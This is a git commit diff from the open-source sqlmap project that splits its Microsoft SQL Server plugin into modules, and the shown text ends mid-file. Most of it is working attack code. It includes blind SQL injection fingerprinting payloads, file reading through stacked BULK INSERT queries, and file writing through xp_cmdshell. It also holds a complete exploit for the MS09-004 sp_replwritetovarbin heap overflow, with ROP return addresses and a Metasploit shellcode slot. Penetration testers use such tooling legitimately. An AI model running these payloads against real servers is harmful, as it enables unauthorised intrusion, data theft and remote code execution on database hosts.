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Major code refactoring: moved and split plugins (mysql, pgsql, mssql, oracle) more granularly and organized.

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Todo for firebird, sqlite, access.
This commit is contained in:
Bernardo Damele 2010-03-22 22:57:57 +00:00
parent f9a135e232
commit 09768a7b62
36 changed files with 2578 additions and 1869 deletions
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0
plugins/dbms/access.py → plugins/dbms/access/__init__.py
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0
plugins/dbms/firebird.py → plugins/dbms/firebird/__init__.py
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694
plugins/dbms/mssqlserver.py
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@ -1,694 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import binascii
import os
import time
from lib.core.agent import agent
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange
from lib.core.common import posixToNtSlashes
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Microsoft SQL Server methods
"""
def __init__(self):
self.excludeDbsList = MSSQL_SYSTEM_DBS
Enumeration.__init__(self, "Microsoft SQL Server")
Filesystem.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(MSSQLServerMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
while True:
index = expression.find("'")
if index == -1:
break
firstIndex = index + 1
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression)
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
#unescaped = "("
unescaped = ""
for i in range(firstIndex, lastIndex):
unescaped += "CHAR(%d)" % (ord(expression[i]))
if i < lastIndex - 1:
unescaped += "+"
#unescaped += ")"
expression = expression.replace(old, unescaped)
else:
expression = "+".join("CHAR(%d)" % ord(c) for c in expression)
return expression
@staticmethod
def escape(expression):
while True:
index = expression.find("CHAR(")
if index == -1:
break
firstIndex = index
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression)
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
oldUpper = old.upper()
oldUpper = oldUpper.replace("CHAR(", "").replace(")", "")
oldUpper = oldUpper.split("+")
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
expression = expression.replace(old, escaped)
return expression
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release
banVer += "Service Pack %s " % servicepack
banVer += "version %s" % version
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = getHtmlErrorFp()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
self.getBanner()
if not conf.extensiveFp:
kb.os = "Windows"
return True
infoMsg = "testing Microsoft SQL Server"
logger.info(infoMsg)
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
result = Request.queryPage(payload)
if result:
infoMsg = "confirming Microsoft SQL Server"
logger.info(infoMsg)
for version in (0, 5, 8):
randInt = randomInt()
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
if result:
if version == 8:
kb.dbmsVersion = ["2008"]
break
elif version == 5:
kb.dbmsVersion = ["2005"]
break
elif version == 0:
kb.dbmsVersion = ["2000"]
break
else:
query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
if result:
kb.dbmsVersion = ["7.0"]
break
if kb.dbmsVersion:
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
else:
setDbms("Microsoft SQL Server")
self.getBanner()
kb.os = "Windows"
return True
else:
warnMsg = "the back-end DMBS is not Microsoft SQL Server"
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if kb.os and kb.osVersion and kb.osSP:
return
if not kb.os:
kb.os = "Windows"
if not detailed:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
infoMsg += "version and service pack"
logger.info(infoMsg)
infoMsg = "the back-end DBMS operating system is %s" % kb.os
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
versions = {"2003": ("5.2", (2, 1)),
#"2003": ("6.0", (2, 1)),
"2008": ("7.0", (1,)),
"2000": ("5.0", (4, 3, 2, 1)),
"XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1))}
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Windows NT " + data[0] + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1) == "1":
kb.osVersion = version
infoMsg += " %s" % kb.osVersion
break
if not kb.osVersion:
kb.osVersion = "2003"
kb.osSP = 2
warnMsg = "unable to fingerprint the underlying operating "
warnMsg += "system version, assuming it is Windows "
warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
logger.warn(warnMsg)
self.cleanup(onlyFileTbl=True)
return
# Get back-end DBMS underlying operating system service pack
sps = versions[kb.osVersion][1]
for sp in sps:
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%Service Pack " + str(sp) + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1) == "1":
kb.osSP = sp
break
if not kb.osSP:
debugMsg = "assuming the operating system has no service pack"
logger.debug(debugMsg)
kb.osSP = 0
if kb.osVersion:
infoMsg += " Service Pack %d" % kb.osSP
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def getPrivileges(self):
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges"
logger.warn(warnMsg)
return {}
def getTables(self):
infoMsg = "fetching tables"
if conf.db:
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables
if not conf.db:
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = kb.data.cachedDbs
else:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
if kb.unionPosition:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
query = rootQuery["inband"]["query"] % db
value = inject.getValue(query, blind=False)
if value:
kb.data.cachedTables[db] = value
if not kb.data.cachedTables:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False, charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in range(int(count)):
query = rootQuery["blind"]["query"] % (db, index, db)
table = inject.getValue(query, inband=False)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException(errMsg)
return kb.data.cachedTables
def unionReadFile(self, rFile):
errMsg = "Microsoft SQL Server does not support file reading "
errMsg += "with UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException(errMsg)
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = []
txtTbl = self.fileTblName
hexTbl = "%shex" % self.fileTblName
self.createSupportTbl(txtTbl, self.tblField, "text")
inject.goStacked("DROP TABLE %s" % hexTbl)
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
# Reference: http://support.microsoft.com/kb/104829
binToHexQuery = """
DECLARE @charset VARCHAR(16)
DECLARE @counter INT
DECLARE @hexstr VARCHAR(4096)
DECLARE @length INT
DECLARE @chunk INT
SET @charset = '0123456789ABCDEF'
SET @counter = 1
SET @hexstr = ''
SET @length = (SELECT DATALENGTH(%s) FROM %s)
SET @chunk = 1024
WHILE (@counter <= @length)
BEGIN
DECLARE @tempint INT
DECLARE @firstint INT
DECLARE @secondint INT
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
SET @firstint = floor(@tempint/16)
SET @secondint = @tempint - (@firstint * 16)
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
SET @counter = @counter + 1
IF @counter %% @chunk = 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
SET @hexstr = ''
END
END
IF @counter %% (@chunk) != 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
END
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
binToHexQuery = urlencode(binToHexQuery, convall=True)
inject.goStacked(binToHexQuery)
if kb.unionPosition:
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False)
if not result:
result = []
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException(errMsg)
indexRange = getRange(count)
for index in indexRange:
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
result.append(chunk)
inject.goStacked("DROP TABLE %s" % hexTbl)
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "Microsoft SQL Server does not support file upload with "
errMsg += "UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException(errMsg)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
# NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server
# file system. Maybe it won't be required to write text files
self.initEnv()
self.getRemoteTempPath()
debugMsg = "going to use xp_cmdshell extended procedure to write "
debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
logger.debug(debugMsg)
debugSize = 0xFF00
tmpPath = posixToNtSlashes(conf.tmpPath)
dFileName = os.path.split(dFile)[1]
dFile = posixToNtSlashes(dFile)
wFileSize = os.path.getsize(wFile)
wFilePointer = open(wFile, "rb")
wFileContent = wFilePointer.read()
wFilePointer.close()
if wFileSize < debugSize:
chunkName = self.updateBinChunk(wFileContent, tmpPath)
sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = ("cd %s" % tmpPath,
"ren %s %s" % (chunkName, dFileName),
"move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
else:
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
infoMsg += "bytes. sqlmap will split it into chunks, upload "
infoMsg += "them and recreate the original file out of the "
infoMsg += "binary chunks server-side, wait.."
logger.info(infoMsg)
counter = 1
for i in range(0, wFileSize, debugSize):
wFileChunk = wFileContent[i:i + debugSize]
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
if i == 0:
infoMsg = "renaming chunk "
copyCmd = "ren %s %s" % (chunkName, dFileName)
else:
infoMsg = "appending chunk "
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
logger.debug(infoMsg)
commands = ("cd %s" % tmpPath,
copyCmd,
"del /F %s" % chunkName)
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
logger.info("file chunk %d written" % counter)
counter += 1
sFile = "%s\%s" % (tmpPath, dFileName)
logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = ("cd %s" % tmpPath,
"move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
def uncPathRequest(self):
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
def spHeapOverflow(self):
"""
References:
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
* http://support.microsoft.com/kb/959420
"""
returns = {
# 2003 Service Pack 0
"2003-0": (""),
# 2003 Service Pack 1
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 12/2008
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 05/2009
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
# 2003 Service Pack 2 updated at 09/2009
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
}
addrs = None
for versionSp, data in returns.items():
version, sp = versionSp.split("-")
sp = int(sp)
if kb.osVersion == version and kb.osSP == sp:
addrs = data
break
if addrs is None:
errMsg = "sqlmap can not exploit the stored procedure buffer "
errMsg += "overflow because it does not have a valid return "
errMsg += "code for the underlying operating system (Windows "
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
raise sqlmapUnsupportedFeatureException(errMsg)
shellcodeChar = ""
hexStr = binascii.hexlify(self.shellcodeString[:-1])
for hexPair in range(0, len(hexStr), 2):
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
shellcodeChar = shellcodeChar[:-1]
self.spExploit = """
DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
SET @buf = '
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter < 3320
BEGIN
SET @counter = @counter + 1
IF @counter = 411
BEGIN
/* pointer to call [ecx+8] */
SET @buf = @buf + %s
/* push ebp, pop esp, ret 4 */
SET @buf = @buf + %s
/* push ecx, pop esp, pop ebp, retn 8 */
SET @buf = @buf + %s
/* Garbage */
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
/* retn 1c */
SET @buf = @buf + %s
/* retn 1c */
SET @buf = @buf + %s
/* anti DEP */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
/* Metasploit shellcode */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
SET @counter = @counter + 302
SET @val = CHAR(0x43)
CONTINUE
END
SET @buf = @buf + @val
END
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
EXEC master..sp_executesql @buf
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
self.spExploit = urlencode(self.spExploit, convall=True)
logger.info("triggering the buffer overflow vulnerability, wait..")
inject.goStacked(self.spExploit, silent=True)

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plugins/dbms/mssqlserver/__init__.py Normal file
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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.settings import MSSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.mssqlserver.enumeration import Enumeration
from plugins.dbms.mssqlserver.filesystem import Filesystem
from plugins.dbms.mssqlserver.fingerprint import Fingerprint
from plugins.dbms.mssqlserver.syntax import Syntax
from plugins.dbms.mssqlserver.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Microsoft SQL Server methods
"""
def __init__(self):
self.excludeDbsList = MSSQL_SYSTEM_DBS
Syntax.__init__(self)
Fingerprint.__init__(self)
Enumeration.__init__(self)
Filesystem.__init__(self)
Miscellaneous.__init__(self)
Takeover.__init__(self)
unescaper.setUnescape(MSSQLServerMap.unescape)

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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.exception import sqlmapNoneDataException
from lib.request import inject
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def __init__(self):
GenericEnumeration.__init__(self, "Microsoft SQL Server")
def getPrivileges(self):
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges"
logger.warn(warnMsg)
return {}
def getTables(self):
infoMsg = "fetching tables"
if conf.db:
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables
if not conf.db:
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = kb.data.cachedDbs
else:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
if kb.unionPosition:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
query = rootQuery["inband"]["query"] % db
value = inject.getValue(query, blind=False)
if value:
kb.data.cachedTables[db] = value
if not kb.data.cachedTables:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False, charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
for index in range(int(count)):
query = rootQuery["blind"]["query"] % (db, index, db)
table = inject.getValue(query, inband=False)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException(errMsg)
return kb.data.cachedTables

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#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
from lib.core.common import getRange
from lib.core.common import posixToNtSlashes
from lib.core.common import randomStr
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def __init__(self):
GenericFilesystem.__init__(self)
def unionReadFile(self, rFile):
errMsg = "Microsoft SQL Server does not support file reading "
errMsg += "with UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException(errMsg)
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = []
txtTbl = self.fileTblName
hexTbl = "%shex" % self.fileTblName
self.createSupportTbl(txtTbl, self.tblField, "text")
inject.goStacked("DROP TABLE %s" % hexTbl)
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
# Reference: http://support.microsoft.com/kb/104829
binToHexQuery = """
DECLARE @charset VARCHAR(16)
DECLARE @counter INT
DECLARE @hexstr VARCHAR(4096)
DECLARE @length INT
DECLARE @chunk INT
SET @charset = '0123456789ABCDEF'
SET @counter = 1
SET @hexstr = ''
SET @length = (SELECT DATALENGTH(%s) FROM %s)
SET @chunk = 1024
WHILE (@counter <= @length)
BEGIN
DECLARE @tempint INT
DECLARE @firstint INT
DECLARE @secondint INT
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
SET @firstint = floor(@tempint/16)
SET @secondint = @tempint - (@firstint * 16)
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
SET @counter = @counter + 1
IF @counter %% @chunk = 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
SET @hexstr = ''
END
END
IF @counter %% (@chunk) != 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
END
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
binToHexQuery = urlencode(binToHexQuery, convall=True)
inject.goStacked(binToHexQuery)
if kb.unionPosition:
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False)
if not result:
